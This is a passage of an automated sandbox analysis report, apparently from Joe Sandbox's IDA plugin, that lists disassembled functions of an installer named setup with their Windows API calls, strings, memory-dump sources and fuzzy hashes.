Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 4fb39bfe22fc54c097f482e74a368542dca1cb2403541a964f4b346b531a9ac5
Instruction ID: 7f7e3aab9160a244316860c9f306b200e0b58a17f6c9b465a7b957037d637837
Opcode Fuzzy Hash: 4fb39bfe22fc54c097f482e74a368542dca1cb2403541a964f4b346b531a9ac5
Instruction Fuzzy Hash: 6701D631940759EFDB019F91DC09BAEBBB8FB04B20F144626F811F26E0DB759948CB90

Function 00CD4980 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D802A8

LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr), ref: 00CD49DE
GetProcAddress.KERNEL32(00000000), ref: 00CD49E5
__Init_thread_footer.LIBCMT ref: 00CD49FC

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

Strings

Dbghelp.dll, xrefs: 00CD49D9
SymFromAddr, xrefs: 00CD49D4

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionInit_thread_footerLibraryLoadProcVariableWake
String ID: Dbghelp.dll$SymFromAddr
API String ID: 3268644551-642441706
Opcode ID: 7d33c1c760ee5d0f94112db22891aef79b31df4d3f3130cbe42d6996ffe4e8bb
Instruction ID: b1403682a2b8974ef214a02c5a495311700aefa8418548477145b7c8d8561d5a
Opcode Fuzzy Hash: 7d33c1c760ee5d0f94112db22891aef79b31df4d3f3130cbe42d6996ffe4e8bb
Instruction Fuzzy Hash: 0F01BCB1A49744EFD710DF99ED45B09B7F4EB0AB20F2003A6E965A73D0C73179088B22

Function 00D802E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00D80285,00000064), ref: 00D8030B
LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,00D80285,00000064,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF), ref: 00D80315
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00D80285,00000064,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF), ref: 00D80326
EnterCriticalSection.KERNEL32(00E9FF6C,?,00D80285,00000064,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409), ref: 00D8032D

Strings

v, xrefs: 00D80315

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID: v
API String ID: 3269011525-3261393531
Opcode ID: 291315e3188975fc95853fa6af841e7d601c412be067e8b98e1a1d378f501d2c
Instruction ID: 1da403310039d3db65478d6e5977aae82dbbcf87aead0d25ca56e5722cba9e89
Opcode Fuzzy Hash: 291315e3188975fc95853fa6af841e7d601c412be067e8b98e1a1d378f501d2c
Instruction Fuzzy Hash: 70E01B31B45628AFCA113B91FC0998D3E189B067517215231F549F51708B635895CBD4

Function 00BC4100 Relevance: 7.7, APIs: 5, Instructions: 237windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000001), ref: 00BC4172
GetParent.USER32(00000001), ref: 00BC419D
SendMessageW.USER32(00000000,00000138,?,00000001), ref: 00BC41AD
FillRect.USER32(?,?,00000000), ref: 00BC41BB
ReleaseDC.USER32(00000001,00000000), ref: 00BC4391

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: FillMessageParentRectReleaseSend
String ID:
API String ID: 2215362955-0
Opcode ID: 482a3f508fce7449c086367cf5f3f81ca739a7acd76b4bfbc01238afcaad4132
Instruction ID: 426130dae7466c98d19bd838ff6bb1a7dbb13855c346b2cf619772a7a31ee58e
Opcode Fuzzy Hash: 482a3f508fce7449c086367cf5f3f81ca739a7acd76b4bfbc01238afcaad4132
Instruction Fuzzy Hash: 2B9103B1A00609AFDB15CFA5CD45BAEBBF9FF48300F14412AE905E7660DB31AA15CB90

Function 00D04C00 Relevance: 7.7, APIs: 5, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess
String ID:
API String ID: 275895251-0
Opcode ID: 136495513d720c87d3718470900e5f98019f69b335175a2dfcfc00b5b82353e1
Instruction ID: 0fa94451c8860951b60d1266017254620f04b09e2ee7c296ca1727adac66433b
Opcode Fuzzy Hash: 136495513d720c87d3718470900e5f98019f69b335175a2dfcfc00b5b82353e1
Instruction Fuzzy Hash: B9818070900205DFDB00CFA9C948B9EBFB5FF49314F288269E918AB395D7759944CBA0

Function 00CAB2C0 Relevance: 7.7, APIs: 5, Instructions: 151windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(?,02141699,?,?,00000000,?,?,?,?,?,?,?,?,00000000,00DE68DD,000000FF), ref: 00CAB2F0
GetWindowRect.USER32(?,?), ref: 00CAB310
IsWindowEnabled.USER32(?), ref: 00CAB341
GetFocus.USER32 ref: 00CAB34F
DeleteDC.GDI32(?), ref: 00CAB465

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$DeleteEnabledFocusRect
String ID:
API String ID: 733580484-0
Opcode ID: 217bcfbe5cc7d48d2783a6364435bde084212cd5ed3b5f35e26959976de2b5f4
Instruction ID: 86c127f16400e39959777adc765f794e79a7def4b9bc9b5865b9b3729fa5a37d
Opcode Fuzzy Hash: 217bcfbe5cc7d48d2783a6364435bde084212cd5ed3b5f35e26959976de2b5f4
Instruction Fuzzy Hash: 77510671A00209EFDF24DFA5D988BEEBBF8EF09304F14415AE415B72A1DB716944CB24

Function 00BBCCF0 Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00BBCDCC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00BBCDDB
ReleaseDC.USER32(00000000), ref: 00BBCE22

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-0
Opcode ID: d78227ecd04cc97b92fa5ed8f4855405bd418b585f5b5e5d555d58bbcdc03f93
Instruction ID: db85df93cef47812e569167236821837b54e94150bc5317f487f47a482bc086b
Opcode Fuzzy Hash: d78227ecd04cc97b92fa5ed8f4855405bd418b585f5b5e5d555d58bbcdc03f93
Instruction Fuzzy Hash: D951F575A00349EFDB10DFA5C898BAA7BF8EF08311F10416AE959E7291D774D944CBA0

Function 00BB7230 Relevance: 7.6, APIs: 5, Instructions: 125windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00BB728E
GetDlgItem.USER32(?,?), ref: 00BB72B3
SendMessageW.USER32(?,?,?,?), ref: 00BB737D

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ItemMessageSendWindow
String ID:
API String ID: 799199299-0
Opcode ID: ee6b4355ed68684a20ab2c9467880614cc98c92535ce8cd606836481881f92bb
Instruction ID: 02e51767f26735aa45be739d5f28c07bd11792705a162644522bd867407bca81
Opcode Fuzzy Hash: ee6b4355ed68684a20ab2c9467880614cc98c92535ce8cd606836481881f92bb
Instruction Fuzzy Hash: 1041D432348601DFC714CF15D894EBAB7E9FBC4311F0449AAE946C6261DBB1EC12EB64

Function 00CC5040 Relevance: 7.6, APIs: 5, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CC5074
std::_Lockit::_Lockit.LIBCPMT ref: 00CC5096
std::_Lockit::~_Lockit.LIBCPMT ref: 00CC50BE
std::_Facet_Register.LIBCPMT ref: 00CC51A7
std::_Lockit::~_Lockit.LIBCPMT ref: 00CC51D1

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 07d2ef0976c71d7b7b0c5315be38ff2fc60cd9d086a932a1b7f7a72c910f4103
Instruction ID: a077d0da287379fddd955ab4f8806a843e630263d22bb8e24bca93a090357fd8
Opcode Fuzzy Hash: 07d2ef0976c71d7b7b0c5315be38ff2fc60cd9d086a932a1b7f7a72c910f4103
Instruction Fuzzy Hash: 6D518B70A00648DFDB11CF58C845BAEBBB0EF41354F28815DE855AB381EBB5BA45CBE1

Function 00BD0450 Relevance: 7.6, APIs: 5, Instructions: 109windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32(00000000,?,?), ref: 00BD04C8
SendMessageW.USER32(?,00001012,00000000,?), ref: 00BD0510
SendMessageW.USER32(?,0000102C,000000FF,0000F000), ref: 00BD052C
SendMessageW.USER32(?,0000102B,000000FF,?), ref: 00BD055E
SetFocus.USER32(00000000,?,?), ref: 00BD0571

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$Focus
String ID:
API String ID: 3982298024-0
Opcode ID: 494ab6d69a42812e97a7cdbdfeaf73b98e499e91c747b73442000f3a99333e39
Instruction ID: 4429089b67379a298a9d6d52813be5c71797f6001b9053fe1e3dc4da199a7a10
Opcode Fuzzy Hash: 494ab6d69a42812e97a7cdbdfeaf73b98e499e91c747b73442000f3a99333e39
Instruction Fuzzy Hash: B3417C75900708DFDB20DF69C884BAAB7F4FF48710F20426AE829A77A1DB30A844CF50

Function 00BB0B20 Relevance: 7.6, APIs: 5, Instructions: 60memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00BB0B6A
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00BB0B70
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,00000000,00000000,00000000), ref: 00BB0B93
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,00DA9C66,000000FF), ref: 00BB0BBB
HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,00DA9C66,000000FF), ref: 00BB0BC1

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Heap$FreeProcess$FormatMessage
String ID:
API String ID: 1606019998-0
Opcode ID: 2458fd7a3b939283796279471b8499bda024796f916c7b5d8b5c9097691a809f
Instruction ID: 4c72ad8df1ac0d994be61b6cd470cea5354dc329d8e50f52d83444b80a503fc9
Opcode Fuzzy Hash: 2458fd7a3b939283796279471b8499bda024796f916c7b5d8b5c9097691a809f
Instruction Fuzzy Hash: 9A1151B1A14219ABEB10EBA4CD01BAFB7F8EB04B04F104519F514A72C1D7F59A048BA0

Function 00BC8BB0 Relevance: 7.6, APIs: 5, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00BC8BBB
SendMessageW.USER32(?,?,?,0000102B), ref: 00BC8C18
SendMessageW.USER32(?,?,?,0000102B), ref: 00BC8C67
SendMessageW.USER32(?,00001043,00000000,00000000), ref: 00BC8C78
SendMessageW.USER32(?,00001013,00000000,00000000), ref: 00BC8C85

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: bf6ed4e2f83d3ca26983fb0f9593a28515db98f2d732c204eeddf20cd9f3dcd5
Instruction ID: c9df734537d21971db3810512ef81af737e78e7e741f11ad87653ac8bedfd501
Opcode Fuzzy Hash: bf6ed4e2f83d3ca26983fb0f9593a28515db98f2d732c204eeddf20cd9f3dcd5
Instruction Fuzzy Hash: 33214232918346AAD220DF11CD44B1ABBF5FFED758F202B1EF1D4211A4E7F195848E96

Function 00BD4C90 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 314windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,RichEdit20W,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00BD4E3C
SendMessageW.USER32(00000000,00000031,00000000,00000000), ref: 00BD4E51
SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 00BD4E59

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Strings

RichEdit20W, xrefs: 00BD4E34

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$AllocateCreateHeapWindow
String ID: RichEdit20W
API String ID: 2359350451-4173859555
Opcode ID: a29d0055ff111249c44ef7359ea1fe479947442b374ba93bbaa3c3e43b4ccc37
Instruction ID: e93c43d0b8cc4c8eaf18bf12440b177e3800d63e20a3304354745183b4dcdcce
Opcode Fuzzy Hash: a29d0055ff111249c44ef7359ea1fe479947442b374ba93bbaa3c3e43b4ccc37
Instruction Fuzzy Hash: BAB18B71A012199FDB14CFA8C884BEEBBF5FF49710F1441AAE805AB3A1D775AD00CB60

Function 00D00D70 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00D14240: SHGetSpecialFolderLocation.SHELL32(00000000,00000023,?,?,?,?,00EA16AC), ref: 00D14250
Part of subcall function 00D14240: LoadLibraryW.KERNEL32(Shell32.dll,?,?,00EA16AC), ref: 00D14263
Part of subcall function 00D14240: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 00D14273

PathFileExistsW.SHLWAPI(?,ADVINST_LOGS,0000000C,00EA16AC), ref: 00D00E58

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Strings

Everyone, xrefs: 00D00E7B
ADVINST_LOGS, xrefs: 00D00E4B

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AddressAllocateExistsFileFolderHeapLibraryLoadLocationPathProcSpecial
String ID: ADVINST_LOGS$Everyone
API String ID: 3321256476-3921853867
Opcode ID: 59f1748d3ea927acc43d8b9f2e6743f9fd1b17920e6a71bdad35a90e7a819b15
Instruction ID: 1a7af25671e13df7dde652e88cfb4a9daffd6c9239ecadae533afc853e813ff4
Opcode Fuzzy Hash: 59f1748d3ea927acc43d8b9f2e6743f9fd1b17920e6a71bdad35a90e7a819b15
Instruction Fuzzy Hash: 59919E71901209DFDB10DFA8C949BAEBBB4EF04314F244159E919BB2D2DB355E44CBA1

Function 00BCF1E0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 211windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Part of subcall function 00CAA030: SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000037,?,?,?,000000EF,?,00BC8188,00000000,80004005), ref: 00CAA098
Part of subcall function 00CAA030: RedrawWindow.USER32(?,00000000,00000000,00000541,?,?,?,000000EF,?,00BC8188,00000000,80004005), ref: 00CAA0A9
Part of subcall function 00CAA030: SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00CAA0C8

SendMessageW.USER32(?,00001036,00000004,00000004), ref: 00BCF37D
SendMessageW.USER32(?,00001036,00000400,00000400), ref: 00BCF394
SendMessageW.USER32(?,00001061,00000000,?), ref: 00BCF3F0

Strings

QuickSelectionList, xrefs: 00BCF2B9, 00BCF2CB, 00BCF2D5

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$Window$AllocateHeapRedraw
String ID: QuickSelectionList
API String ID: 884508843-3633591268
Opcode ID: 0e869bd2ad6e7d9f0d5fc533156a591fef7ac481156a5bda445b99c6e4ee18fc
Instruction ID: c84f99548b8a99bac224524886814d7cb5a1a56234c0f42d71d5f5f88e21ff9d
Opcode Fuzzy Hash: 0e869bd2ad6e7d9f0d5fc533156a591fef7ac481156a5bda445b99c6e4ee18fc
Instruction Fuzzy Hash: 6E71BC71A00205AFDB14DF68C885BAEF7F5FF89324F10466DF565A7290DB74A904CB60

Function 00D01220 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,02141699), ref: 00D01272
CloseHandle.KERNEL32(00000008,02141699,?,?,00000000,00DF6653,000000FF,?,80004005), ref: 00D013F0
CloseHandle.KERNEL32(00000000,02141699,?,?,00000000,00DF6653,000000FF,?,80004005), ref: 00D0141F

Strings

LOG, xrefs: 00D012DA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CloseHandle$FileModuleName
